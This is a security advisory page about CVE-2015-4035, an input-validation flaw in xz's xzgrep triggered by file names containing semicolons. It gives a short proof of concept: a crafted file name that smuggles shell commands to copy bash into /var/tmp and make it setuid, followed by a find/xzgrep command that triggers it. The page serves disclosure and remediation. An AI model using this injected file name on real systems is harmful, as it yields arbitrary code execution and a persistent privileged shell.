Improper Input Validation Affecting tukaani-project/xz package, versions [,5.0.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.32% (71st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Input Validation vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-TUKAANIPROJECTXZ-6515717
  • published2 Apr 2024
  • disclosed25 Jul 2017
  • creditUnknown

Introduced: 25 Jul 2017

CVE-2015-4035  (opens in a new tab)
CWE-20  (opens in a new tab)

How to fix?

Upgrade tukaani-project/xz to version 5.0.0 or higher.

Overview

Affected versions of this package are vulnerable to Improper Input Validation in xzgrep, which does not properly process file names containing semicolons, allowing local attackers to execute arbitrary code by as the xzgrep user by passing a crafted file name.

PoC

touch '/var/tmp/;echo -e "cp -p \0057bin\0057bash \0057var\0057tmp\0057\nchmod u+s \0057var\0057tmp\0057bash" zzz;sh zzz;rm -f zzz'
find /var/tmp -type f -exec xzgrep anystring {} \+

CVSS Scores

version 3.1